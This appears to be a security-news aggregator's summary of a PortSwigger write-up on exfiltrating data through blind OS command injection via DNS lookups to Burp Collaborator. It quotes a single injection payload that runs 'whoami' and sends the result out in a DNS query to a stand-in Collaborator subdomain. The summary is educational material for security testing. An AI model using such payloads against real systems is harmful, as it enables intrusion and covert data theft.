Exploiting OS command injection vulnerabilities to exfiltrate data with Burp Suite - Port Swigger
Summary: PortSwigger describes a technique for exfiltrating data through asynchronous OS command injection by routing command output over an out-of-band channel to Burp Collaborator. A proof-of-concept payload such as `& nslookup `whoami`.burp-collaborator-subdomain &` can trigger a DNS lookup to the Collaborator subdomain containing the result of the whoami command, and because execution may be delayed, the Collaborator tab must be checked for late interactions.
Why it matters: The exfiltration path here is a DNS lookup, so a command injection that produces no visible response can still carry data out through a channel many monitoring stacks treat as routine.
Read the original at PortSwigger Research ↗
- Topics
- Vulnerabilities & Patching
- Related
- Attackers Exploit UnrealIRCd Flaw That Enables Server-Level Command Injection Cyber Risks · Nov 14, 2026U.S. CISA adds Check Point and UnrealIRCd flaws to its Known Exploited Vulnerabilities catalog Cyber Risks · Nov 14, 2026PostgreSQL Patches 52 Flaws, Including 22-Year-Old Bug Enabling Authenticated RCE Cyber Risks · Nov 13, 2026